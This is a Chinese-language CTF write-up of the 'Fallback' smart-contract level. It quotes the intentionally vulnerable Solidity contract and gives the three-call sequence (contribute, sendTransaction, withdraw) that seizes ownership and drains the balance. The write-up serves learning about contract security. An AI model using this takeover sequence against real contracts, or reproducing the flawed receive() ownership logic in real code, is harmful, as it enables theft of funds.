还是拿到关卡实例,发现有合约,审计代码,同时喂一下注释
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
// 记录每个地址的贡献金额
mapping(address => uint256) public contributions;
// 合约所有者地址
address public owner;
// 部署时设置部署者为owner,并初始化其贡献值为1000 ether
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
// 限制只有owner能调用
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
// 贡献函数,要求传入金额小于0.001 ether
// 贡献金额累计,贡献最高者成为owner
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
// 查看调用者贡献值
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
// 只有owner能调用,提取合约余额
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
// 合约接收以太币的回退函数
// 发送者必须有贡献记录,发送任意金额后成为owner
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
题目的要求是我们拿到owner身份,同时让余额清零
通过上面的代码我们可以发现,获取owner身份的方式
显然我们使用后者获取owner身份,但是这引出下一个问题,如何使用contribute函数,以及如何触发receive函数
通过google和gpt,获得

发现我们还需要调用sendTransaction函数,这是一个发送代币的函数
因此按步骤我们逐步实现:

调用完transaction函数之后,发现我们已经是owner
直接调用withdraw函数

攻击流程:
contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零
这一题还是有点难度的,可能是因为刚接触,主要是不知道contribute函数是怎么用的,他的参数以及里面为什么是{value:1},这是一种简写方式?然后就是不知道transaction函数可以直接触发fallback。这俩点是新学会的。